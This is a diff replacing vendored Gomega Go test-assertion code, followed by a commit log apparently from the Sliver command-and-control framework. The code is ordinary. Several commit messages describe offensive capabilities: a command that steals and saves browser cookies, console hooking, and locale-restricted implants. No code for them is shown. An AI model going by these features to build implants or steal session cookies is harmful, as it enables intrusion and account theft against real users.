+func (assertion *Assertion) Should(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool {
+	assertion.g.THelper()
+	vetOptionalDescription("Assertion", optionalDescription...)
+	return assertion.vet(assertion, optionalDescription...) && assertion.match(matcher, true, optionalDescription...)
+}
+
+func (assertion *Assertion) ShouldNot(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool {
+	assertion.g.THelper()
+	vetOptionalDescription("Assertion", optionalDescription...)
+	return assertion.vet(assertion, optionalDescription...) && assertion.match(matcher, false, optionalDescription...)
+}
+
+func (assertion *Assertion) To(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool {
+	assertion.g.THelper()
+	vetOptionalDescription("Assertion", optionalDescription...)
+	return assertion.vet(assertion, optionalDescription...) && assertion.match(matcher, true, optionalDescription...)
+}
+
+func (assertion *Assertion) ToNot(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool {
+	assertion.g.THelper()
+	vetOptionalDescription("Assertion", optionalDescription...)
+	return assertion.vet(assertion, optionalDescription...) && assertion.match(matcher, false, optionalDescription...)
+}
+
+func (assertion *Assertion) NotTo(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool {
+	assertion.g.THelper()
+	vetOptionalDescription("Assertion", optionalDescription...)
+	return assertion.vet(assertion, optionalDescription...) && assertion.match(matcher, false, optionalDescription...)
+}
+
+func (assertion *Assertion) buildDescription(optionalDescription ...interface{}) string {
+	switch len(optionalDescription) {
+	case 0:
+		return ""
+	case 1:
+		if describe, ok := optionalDescription[0].(func() string); ok {
+			return describe() + "\n"
+		}
+	}
+	return fmt.Sprintf(optionalDescription[0].(string), optionalDescription[1:]...) + "\n"
+}
+
+func (assertion *Assertion) match(matcher types.GomegaMatcher, desiredMatch bool, optionalDescription ...interface{}) bool {
+	actualInput := assertion.actuals[assertion.actualIndex]
+	matches, err := matcher.Match(actualInput)
+	assertion.g.THelper()
+	if err != nil {
+		description := assertion.buildDescription(optionalDescription...)
+		assertion.g.Fail(description+err.Error(), 2+assertion.offset)
+		return false
+	}
+	if matches != desiredMatch {
+		var message string
+		if desiredMatch {
+			message = matcher.FailureMessage(actualInput)
+		} else {
+			message = matcher.NegatedFailureMessage(actualInput)
+		}
+		description := assertion.buildDescription(optionalDescription...)
+		assertion.g.Fail(description+message, 2+assertion.offset)
+		return false
+	}
+
+	return true
+}
+
+// vetActuals vets the actual values, with the (optional) exception of a
+// specific value, such as the first value in case non-error assertions, or the
+// last value in case of Error()-based assertions.
+func (assertion *Assertion) vetActuals(optionalDescription ...interface{}) bool {
+	success, message := vetActuals(assertion.actuals, assertion.actualIndex)
+	if success {
+		return true
+	}
+
+	description := assertion.buildDescription(optionalDescription...)
+	assertion.g.THelper()
+	assertion.g.Fail(description+message, 2+assertion.offset)
+	return false
+}
+
+// vetError vets the actual values, except for the final error value, in case
+// the final error value is non-zero. Otherwise, it doesn't vet the actual
+// values, as these are allowed to take on any values unless there is a non-zero
+// error value.
+func (assertion *Assertion) vetError(optionalDescription ...interface{}) bool {
+	if err := assertion.actuals[assertion.actualIndex]; err != nil {
+		// Go error result idiom: all other actual values must be zero values.
+		return assertion.vetActuals(optionalDescription...)
+	}
+	return true
+}
+
+// vetActuals vets a slice of actual values, optionally skipping a particular
+// value slice element, such as the first or last value slice element.
+func vetActuals(actuals []interface{}, skipIndex int) (bool, string) {
+	for i, actual := range actuals {
+		if i == skipIndex {
+			continue
+		}
+		if actual != nil {
+			zeroValue := reflect.Zero(reflect.TypeOf(actual)).Interface()
+			if !reflect.DeepEqual(zeroValue, actual) {
+				message := fmt.Sprintf("Unexpected non-nil/non-zero argument at index %d:\n\t<%T>: %#v", i, actual, actual)
+				return false, message
+			}
+		}
+	}
+	return true, ""
+}
@@ -1,109 +0,0 @@
-package assertion
-
-import (
-	"fmt"
-	"reflect"
-
-	"github.com/onsi/gomega/types"
-)
-
-type Assertion struct {
-	actualInput interface{}
-	failWrapper *types.GomegaFailWrapper
-	offset      int
-	extra       []interface{}
-}
-
-func New(actualInput interface{}, failWrapper *types.GomegaFailWrapper, offset int, extra ...interface{}) *Assertion {
-	return &Assertion{
-		actualInput: actualInput,
-		failWrapper: failWrapper,
-		offset:      offset,
-		extra:       extra,
-	}
-}
-
-func (assertion *Assertion) Should(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool {
-	assertion.failWrapper.TWithHelper.Helper()
-	return assertion.vetExtras(optionalDescription...) && assertion.match(matcher, true, optionalDescription...)
-}
-
-func (assertion *Assertion) ShouldNot(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool {
-	assertion.failWrapper.TWithHelper.Helper()
-	return assertion.vetExtras(optionalDescription...) && assertion.match(matcher, false, optionalDescription...)
-}
-
-func (assertion *Assertion) To(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool {
-	assertion.failWrapper.TWithHelper.Helper()
-	return assertion.vetExtras(optionalDescription...) && assertion.match(matcher, true, optionalDescription...)
-}
-
-func (assertion *Assertion) ToNot(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool {
-	assertion.failWrapper.TWithHelper.Helper()
-	return assertion.vetExtras(optionalDescription...) && assertion.match(matcher, false, optionalDescription...)
-}
-
-func (assertion *Assertion) NotTo(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool {
-	assertion.failWrapper.TWithHelper.Helper()
-	return assertion.vetExtras(optionalDescription...) && assertion.match(matcher, false, optionalDescription...)
-}
-
-func (assertion *Assertion) buildDescription(optionalDescription ...interface{}) string {
-	switch len(optionalDescription) {
-	case 0:
-		return ""
-	case 1:
-		if describe, ok := optionalDescription[0].(func() string); ok {
-			return describe() + "\n"
-		}
-	}
-	return fmt.Sprintf(optionalDescription[0].(string), optionalDescription[1:]...) + "\n"
-}
-
-func (assertion *Assertion) match(matcher types.GomegaMatcher, desiredMatch bool, optionalDescription ...interface{}) bool {
-	matches, err := matcher.Match(assertion.actualInput)
-	assertion.failWrapper.TWithHelper.Helper()
-	if err != nil {
-		description := assertion.buildDescription(optionalDescription...)
-		assertion.failWrapper.Fail(description+err.Error(), 2+assertion.offset)
-		return false
-	}
-	if matches != desiredMatch {
-		var message string
-		if desiredMatch {
-			message = matcher.FailureMessage(assertion.actualInput)
-		} else {
-			message = matcher.NegatedFailureMessage(assertion.actualInput)
-		}
-		description := assertion.buildDescription(optionalDescription...)
-		assertion.failWrapper.Fail(description+message, 2+assertion.offset)
-		return false
-	}
-
-	return true
-}
-
-func (assertion *Assertion) vetExtras(optionalDescription ...interface{}) bool {
-	success, message := vetExtras(assertion.extra)
-	if success {
-		return true
-	}
-
-	description := assertion.buildDescription(optionalDescription...)
-	assertion.failWrapper.TWithHelper.Helper()
-	assertion.failWrapper.Fail(description+message, 2+assertion.offset)
-	return false
-}
-
-func vetExtras(extras []interface{}) (bool, string) {
-	for i, extra := range extras {
-		if extra != nil {
-			zeroValue := reflect.Zero(reflect.TypeOf(extra)).Interface()
-			if !reflect.DeepEqual(zeroValue, extra) {
-				message := fmt.Sprintf("Unexpected non-nil/non-zero extra argument at index %d:\n\t<%T>: %#v", i+1, extra, extra)
-				return false, message
-			}
-		}
-	}
-	return true, ""
-}
@@ -0,0 +1,237 @@
+package internal
+
+import (
+	"errors"
+	"fmt"
+	"reflect"
+	"runtime"
+	"time"
+
+	"github.com/onsi/gomega/types"
+)
+
+type AsyncAssertionType uint
+
+const (
+	AsyncAssertionTypeEventually AsyncAssertionType = iota
+	AsyncAssertionTypeConsistently
+)
+
+type AsyncAssertion struct {
+	asyncType AsyncAssertionType
+
+	actualIsFunc bool
+	actualValue  interface{}
+	actualFunc   func() ([]reflect.Value, error)
+
+	timeoutInterval time.Duration
+	pollingInterval time.Duration
+	offset          int
+	g               *Gomega
+}
+
+func NewAsyncAssertion(asyncType AsyncAssertionType, actualInput interface{}, g *Gomega, timeoutInterval time.Duration, pollingInterval time.Duration, offset int) *AsyncAssertion {
+	out := &AsyncAssertion{
+		asyncType:       asyncType,
+		timeoutInterval: timeoutInterval,
+		pollingInterval: pollingInterval,
+		offset:          offset,
+		g:               g,
+	}
+
+	switch actualType := reflect.TypeOf(actualInput); {
+	case actualInput == nil || actualType.Kind() != reflect.Func:
+		out.actualValue = actualInput
+	case actualType.NumIn() == 0 && actualType.NumOut() > 0:
+		out.actualIsFunc = true
+		out.actualFunc = func() ([]reflect.Value, error) {
+			return reflect.ValueOf(actualInput).Call([]reflect.Value{}), nil
+		}
+	case actualType.NumIn() == 1 && actualType.In(0).Implements(reflect.TypeOf((*types.Gomega)(nil)).Elem()):
+		out.actualIsFunc = true
+		out.actualFunc = func() (values []reflect.Value, err error) {
+			var assertionFailure error
+			assertionCapturingGomega := NewGomega(g.DurationBundle).ConfigureWithFailHandler(func(message string, callerSkip ...int) {
+				skip := 0
+				if len(callerSkip) > 0 {
+					skip = callerSkip[0]
+				}
+				_, file, line, _ := runtime.Caller(skip + 1)
+				assertionFailure = fmt.Errorf("Assertion in callback at %s:%d failed:\n%s", file, line, message)
+				panic("stop execution")
+			})
+
+			defer func() {
+				if actualType.NumOut() == 0 {
+					if assertionFailure == nil {
+						values = []reflect.Value{reflect.Zero(reflect.TypeOf((*error)(nil)).Elem())}
+					} else {
+						values = []reflect.Value{reflect.ValueOf(assertionFailure)}
+					}
+				} else {
+					err = assertionFailure
+				}
+				if e := recover(); e != nil && assertionFailure == nil {
+					panic(e)
+				}
+			}()
+
+			values = reflect.ValueOf(actualInput).Call([]reflect.Value{reflect.ValueOf(assertionCapturingGomega)})
+			return
+		}
+	default:
+		msg := fmt.Sprintf("The function passed to Gomega's async assertions should either take no arguments and return values, or take a single Gomega interface that it can use to make assertions within the body of the function.  When taking a Gomega interface the function can optionally return values or return nothing.  The function you passed takes %d arguments and returns %d values.", actualType.NumIn(), actualType.NumOut())
+		g.Fail(msg, offset+4)
+	}
+
+	return out
+}
+
+func (assertion *AsyncAssertion) WithOffset(offset int) types.AsyncAssertion {
+	assertion.offset = offset
+	return assertion
+}
+
+func (assertion *AsyncAssertion) WithTimeout(interval time.Duration) types.AsyncAssertion {
+	assertion.timeoutInterval = interval
+	return assertion
+}
+
+func (assertion *AsyncAssertion) WithPolling(interval time.Duration) types.AsyncAssertion {
+	assertion.pollingInterval = interval
+	return assertion
+}
+
+func (assertion *AsyncAssertion) Should(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool {
+	assertion.g.THelper()
+	vetOptionalDescription("Asynchronous assertion", optionalDescription...)
+	return assertion.match(matcher, true, optionalDescription...)
+}
+
+func (assertion *AsyncAssertion) ShouldNot(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool {
+	assertion.g.THelper()
+	vetOptionalDescription("Asynchronous assertion", optionalDescription...)
+	return assertion.match(matcher, false, optionalDescription...)
+}
+
+func (assertion *AsyncAssertion) buildDescription(optionalDescription ...interface{}) string {
+	switch len(optionalDescription) {
+	case 0:
+		return ""
+	case 1:
+		if describe, ok := optionalDescription[0].(func() string); ok {
+			return describe() + "\n"
+		}
+	}
+	return fmt.Sprintf(optionalDescription[0].(string), optionalDescription[1:]...) + "\n"
+}
+
+func (assertion *AsyncAssertion) pollActual() (interface{}, error) {
+	if !assertion.actualIsFunc {
+		return assertion.actualValue, nil
+	}
+
+	values, err := assertion.actualFunc()
+	if err != nil {
+		return nil, err
+	}
+	extras := []interface{}{nil}
+	for _, value := range values[1:] {
+		extras = append(extras, value.Interface())
+	}
+	success, message := vetActuals(extras, 0)
+	if !success {
+		return nil, errors.New(message)
+	}
+
+	return values[0].Interface(), nil
+}
+
+func (assertion *AsyncAssertion) matcherMayChange(matcher types.GomegaMatcher, value interface{}) bool {
+	if assertion.actualIsFunc {
+		return true
+	}
+	return types.MatchMayChangeInTheFuture(matcher, value)
+}
+
+func (assertion *AsyncAssertion) match(matcher types.GomegaMatcher, desiredMatch bool, optionalDescription ...interface{}) bool {
+	timer := time.Now()
+	timeout := time.After(assertion.timeoutInterval)
+
+	var matches bool
+	var err error
+	mayChange := true
+	value, err := assertion.pollActual()
+	if err == nil {
+		mayChange = assertion.matcherMayChange(matcher, value)
+		matches, err = matcher.Match(value)
+	}
+
+	assertion.g.THelper()
+
+	fail := func(preamble string) {
+		errMsg := ""
+		message := ""
+		if err != nil {
+			errMsg = "Error: " + err.Error()
+		} else {
+			if desiredMatch {
+				message = matcher.FailureMessage(value)
+			} else {
+				message = matcher.NegatedFailureMessage(value)
+			}
+		}
+		assertion.g.THelper()
+		description := assertion.buildDescription(optionalDescription...)
+		assertion.g.Fail(fmt.Sprintf("%s after %.3fs.\n%s%s%s", preamble, time.Since(timer).Seconds(), description, message, errMsg), 3+assertion.offset)
+	}
+
+	if assertion.asyncType == AsyncAssertionTypeEventually {
+		for {
+			if err == nil && matches == desiredMatch {
+				return true
+			}
+
+			if !mayChange {
+				fail("No future change is possible.  Bailing out early")
+				return false
+			}
+
+			select {
+			case <-time.After(assertion.pollingInterval):
+				value, err = assertion.pollActual()
+				if err == nil {
+					mayChange = assertion.matcherMayChange(matcher, value)
+					matches, err = matcher.Match(value)
+				}
+			case <-timeout:
+				fail("Timed out")
+				return false
+			}
+		}
+	} else if assertion.asyncType == AsyncAssertionTypeConsistently {
+		for {
+			if !(err == nil && matches == desiredMatch) {
+				fail("Failed")
+				return false
+			}
+
+			if !mayChange {
+				return true
+			}
+
+			select {
+			case <-time.After(assertion.pollingInterval):
+				value, err = assertion.pollActual()
+				if err == nil {
+					mayChange = assertion.matcherMayChange(matcher, value)
+					matches, err = matcher.Match(value)
+				}
+			case <-timeout:
+				return true
+			}
+		}
+	}
+
+	return false
+}
Author	SHA1	Message	Date
Joe	212f70d755	Merge pull request #911 from BishopFox/a13cdependabot/go_modules/github.com/onsi/gomega-1.20.2 Bump github.com/onsi/gomega from 1.10.0 to 1.20.2	2022-09-26 12:56:39 -05:00
dependabot[bot]	5a2f4f4553	Bump github.com/onsi/gomega from 1.10.0 to 1.20.2 Bumps [github.com/onsi/gomega](https://github.com/onsi/gomega) from 1.10.0 to 1.20.2. - [Release notes](https://github.com/onsi/gomega/releases) - [Changelog](https://github.com/onsi/gomega/blob/master/CHANGELOG.md) - [Commits](https://github.com/onsi/gomega/compare/v1.10.0...v1.20.2) --- updated-dependencies: - dependency-name: github.com/onsi/gomega dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <[email protected]>	2022-09-26 15:24:55 +00:00
Joe	cece2f2e01	Merge pull request #912 from BishopFox/d214dependabot/go_modules/github.com/onsi/ginkgo-1.16.5 Bump github.com/onsi/ginkgo from 1.12.1 to 1.16.5	2022-09-26 10:22:36 -05:00
Joe	f219d03453	Merge pull request #913 from BishopFox/72addependabot/go_modules/gorm.io/driver/postgres-1.3.10 Bump gorm.io/driver/postgres from 1.3.9 to 1.3.10	2022-09-26 10:20:38 -05:00
Joe	22e67f8390	Merge pull request #910 from BishopFox/86bedependabot/go_modules/google.golang.org/protobuf-1.28.1 Bump google.golang.org/protobuf from 1.27.1 to 1.28.1	2022-09-26 10:20:18 -05:00
Joe	42299991db	Merge pull request #909 from BishopFox/cursed Cursed	2022-09-26 10:07:04 -05:00
dependabot[bot]	c1995c6081	Bump gorm.io/driver/postgres from 1.3.9 to 1.3.10 Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.3.9 to 1.3.10. - [Release notes](https://github.com/go-gorm/postgres/releases) - [Commits](https://github.com/go-gorm/postgres/compare/v1.3.9...v1.3.10) --- updated-dependencies: - dependency-name: gorm.io/driver/postgres dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <[email protected]>	2022-09-26 03:46:24 +00:00
dependabot[bot]	352df3c52b	Bump github.com/onsi/ginkgo from 1.12.1 to 1.16.5 Bumps [github.com/onsi/ginkgo](https://github.com/onsi/ginkgo) from 1.12.1 to 1.16.5. - [Release notes](https://github.com/onsi/ginkgo/releases) - [Changelog](https://github.com/onsi/ginkgo/blob/master/CHANGELOG.md) - [Commits](https://github.com/onsi/ginkgo/compare/v1.12.1...v1.16.5) --- updated-dependencies: - dependency-name: github.com/onsi/ginkgo dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <[email protected]>	2022-09-26 03:46:18 +00:00
dependabot[bot]	0daff15f72	Bump google.golang.org/protobuf from 1.27.1 to 1.28.1 Bumps [google.golang.org/protobuf](https://github.com/protocolbuffers/protobuf-go) from 1.27.1 to 1.28.1. - [Release notes](https://github.com/protocolbuffers/protobuf-go/releases) - [Changelog](https://github.com/protocolbuffers/protobuf-go/blob/master/release.bash) - [Commits](https://github.com/protocolbuffers/protobuf-go/compare/v1.27.1...v1.28.1) --- updated-dependencies: - dependency-name: google.golang.org/protobuf dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <[email protected]>	2022-09-26 03:24:06 +00:00
moloch--	46e58403dc	add :file option to cursed console	2022-09-25 20:07:32 -07:00
moloch--	70ba98aef4	hook console.log by default	2022-09-25 19:35:52 -07:00
Joe	bc035d4003	Merge pull request #908 from jamesgol/wg_keyevent Add new event WireGuardNewPeer to get peer configured immediately	2022-09-25 20:41:42 -05:00
moloch--	31aaeeeab1	Save cookies to file	2022-09-25 18:22:29 -07:00
moloch--	d0826e63bc	Added cursed cookies cmd	2022-09-25 17:51:07 -07:00
Joe	ec8e26d2da	Merge pull request #907 from jamesgol/beacon-host Register new hosts when beacons are received and not just sessions	2022-09-25 17:36:59 -05:00
moloch--	78213312c6	Merge branch 'master' into cursed	2022-09-25 11:07:15 -07:00
James Golovich	c280489f49	Add \n to string Worked without but looks more complete with it there	2022-09-23 21:02:12 -07:00
James Golovich	49faa6e6e4	Add new event WireGuardNewPeer to get peer configured immediately Eliminates the 5 second delay on Wireguard connections	2022-09-23 20:57:22 -07:00
James Golovich	79b60eb321	Register new hosts when beacons are received and not just sessions	2022-09-23 16:27:06 -07:00
Joe	160486c55f	Merge pull request #905 from jamesgol/limit-locale Add ability to limit implant based on locale	2022-09-23 12:24:04 -05:00
Joe	556ebd86a6	Merge pull request #903 from jamesgol/reconfig-update Make reconfig command to save to DB	2022-09-23 11:40:58 -05:00
Joe	b86383a83d	Merge pull request #904 from jamesgol/rportfwd-fix Stop segfaults with rportfwd	2022-09-23 11:40:45 -05:00
James Golovich	7aa03f6845	Update compiled client.pb.go	2022-09-22 17:07:06 -07:00
James Golovich	3f6c38f3c7	Add LimitLocale to client.proto	2022-09-22 17:06:52 -07:00
James Golovich	86ec7248b6	Add ability to limit implant based on locale with regexp Examples: an exact match: en-US substring: en one of multiple: en-US\|en-AU\|en-UK	2022-09-22 17:04:07 -07:00
Joe	aac39d72b6	Merge pull request #900 from jamesgol/info-fix Allow info command to work with active sessions again	2022-09-22 16:31:13 -05:00
James Golovich	f08b8e4dfe	Stop segfault on server if tunnel cannot connect	2022-09-22 11:55:46 -07:00
James Golovich	4acbb6a5bb	Stop segfault on implant if remote port is unavailable panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x9eaee9] goroutine 26 [running]: github.com/bishopfox/sliver/implant/sliver/rportfwd.(ChannelProxy).HandleConn.func1({0xb42100, 0xc00007b2c0}) /home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:168 +0x1c9 github.com/bishopfox/sliver/implant/sliver/rportfwd.(ChannelProxy).HandleConn.func2() /home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:189 +0x2bd created by github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn /home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:173 +0x54c	2022-09-22 11:42:26 -07:00
James Golovich	1caf9d2a1f	Remove -n from reconfig command, that is handled by rename	2022-09-22 11:07:15 -07:00
James Golovich	c69f68c24c	Save reconfig data to DB	2022-09-22 11:07:15 -07:00
Joe	df668bba84	Merge pull request #901 from BishopFox/aa1ddependabot/bundler/docs/commonmarker-0.23.6 Bump commonmarker from 0.23.4 to 0.23.6 in /docs	2022-09-22 11:00:17 -05:00
dependabot[bot]	1b0c52488b	Bump commonmarker from 0.23.4 to 0.23.6 in /docs Bumps [commonmarker](https://github.com/gjtorikian/commonmarker) from 0.23.4 to 0.23.6. - [Release notes](https://github.com/gjtorikian/commonmarker/releases) - [Changelog](https://github.com/gjtorikian/commonmarker/blob/main/CHANGELOG.md) - [Commits](https://github.com/gjtorikian/commonmarker/compare/v0.23.4...v0.23.6) --- updated-dependencies: - dependency-name: commonmarker dependency-type: indirect ... Signed-off-by: dependabot[bot] <[email protected]>	2022-09-22 02:09:09 +00:00
James Golovich	3cb1fe6473	Allow info command to work with active sessions again	2022-09-21 16:32:59 -07:00
Joe	73b6e5311f	Merge pull request #898 from BishopFox/fix/rc4 Tweak ciphers, fix issue #896	2022-09-21 15:13:54 -05:00
Joe	ef17dcca05	Merge pull request #895 from jamesgol/client-info Add details to client info	2022-09-21 15:12:51 -05:00
James Golovich	0b2e1c94e5	Add Last Checkin to info command	2022-09-20 22:13:11 -07:00
James Golovich	a6791cc14e	Update compiled protobufs	2022-09-20 21:56:01 -07:00
James Golovich	3cd1222552	Add FirstContact to ProtoBufs	2022-09-20 21:54:51 -07:00
James Golovich	2dc6c74c89	Add FirstContact to hosts/beacons/sessions info	2022-09-20 21:53:49 -07:00
James Golovich	905234714c	Use 'use' Completor for 'info' command	2022-09-20 21:43:17 -07:00
James Golovich	3b39100b06	Add new SliverConsoleClient function FormateDateDelta Refactored code from client/commands/beacons/beacons.go so it can be used elsewhere.	2022-09-20 18:26:49 -07:00
moloch--	f6281bdcd7	Added keep-alive, headless, and additional args	2022-09-14 08:59:33 -06:00